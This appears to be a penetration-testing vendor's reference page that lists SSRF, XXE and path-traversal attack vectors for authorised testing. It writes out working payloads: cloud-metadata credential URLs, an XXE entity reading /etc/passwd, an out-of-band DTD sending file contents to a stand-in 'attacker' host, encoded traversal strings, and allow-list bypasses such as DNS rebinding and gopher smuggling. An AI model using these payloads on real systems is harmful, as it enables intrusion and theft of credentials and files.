New The 2026 Continuous Validation Methodology Paper is now available. Read the paper →

Injection, SSRF & XXE.

Server-side request forgery, XML external entity weaponization, and path-traversal cousins — vector enumeration, blind-channel exfiltration, parser-quirk routing.

SSRF — vector inventory

  • URL parameter. ?url=, ?next=, ?image=, ?callback=, ?webhook=. Anything where the server fetches.
  • Webhook callback. "We POST to your URL on event X" — attacker sets URL to internal target. Bypasses outbound allow-lists in many setups.
  • Image / avatar fetch. ?avatar=http://... with server-side image-processing pipeline. Returns may be opaque, so test blind first.
  • PDF / HTML-to-PDF renderers. Inject <iframe src=//attacker> or <img src=//attacker> into HTML that the server renders. Most renderers fetch sub-resources without sandboxing.
  • XML / SOAP body with URLs. Many SOAP services follow URLs in WSDL/SOAP envelopes server-side.
  • Document import. "Import from URL" features — DOC, XLSX, ZIP — fetch the URL server-side, sometimes follow redirects to internal.

SSRF — proof and exfil techniques

  • Cloud metadata first. http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS), http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=json with Metadata-Flavor: Google, http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true (Azure).
  • Blind via DNS. ?url=http://<random>.attacker.tld/ + listen on your authoritative DNS for queries.
  • Blind via HTTP. Use an interactsh / Burp Collaborator URL. Detects fetch without needing visible response.
  • Internal port scan. Time-difference on response: connection-refused vs accepted vs timed-out gives port status.
  • Redirect chaining. Server validates URL against allow-list, follows redirect: hosted attacker URL returns 302 to http://169.254.169.254. Trivial bypass.
  • DNS rebinding. Attacker DNS returns valid IP on first lookup (passes allow-list), internal IP on second lookup (resolved at fetch). Defeats parse-time validation.
  • Protocol smuggling. If parser accepts gopher:// or dict:// or file:// — Redis on localhost via gopher is the classic chain.

XXE

  • In-band exfil. <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> — if response echoes the parsed body, file contents are returned.
  • Out-of-band. Parameter-entity DTD hosted by attacker, fetched by victim parser, exfiltrates target file via second HTTP request.
    <!DOCTYPE foo [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
      %dtd;
      %send;
    ]>
    evil.dtd contains <!ENTITY % send SYSTEM "http://attacker/?x=%file;">.
  • Billion-laughs. Nested entity expansion → memory exhaustion. DoS only; rarely the deliverable.
  • Parsers safe by default. Modern libxml2 with default safe settings, Java's DocumentBuilder with FEATURE_SECURE_PROCESSING. Test anyway — defaults get overridden in real apps.

Path traversal

  • Classic. ?file=../../../../etc/passwd. Still works on legacy apps and behind misconfigured reverse-proxies that normalize differently than the backend.
  • Encoded. ..%2f, %252e%252e%252f (double-encoded), ..%c0%af (overlong UTF-8). One of these usually slips through.
  • Path normalization mismatch. Front-end (nginx) strips .. sequences but back-end (uwsgi) does its own resolution. Send ..%2f raw — front-end sees no traversal, back-end resolves.
  • Null byte truncation. Legacy PHP / Java where ?file=secret.pdf%00.png truncates to secret.pdf. Rare but still exists.
  • Defense. Resolve to canonical path (realpath), verify result is within allowed directory. Never rely on substring filtering.
Rule of thumbAlways test SSRF with cloud-metadata URLs first if the target runs in a known cloud. Faster proof, more obvious impact, harder to dispute than a blind internal-IP probe.

From reference to evidence

Run this against your own environment.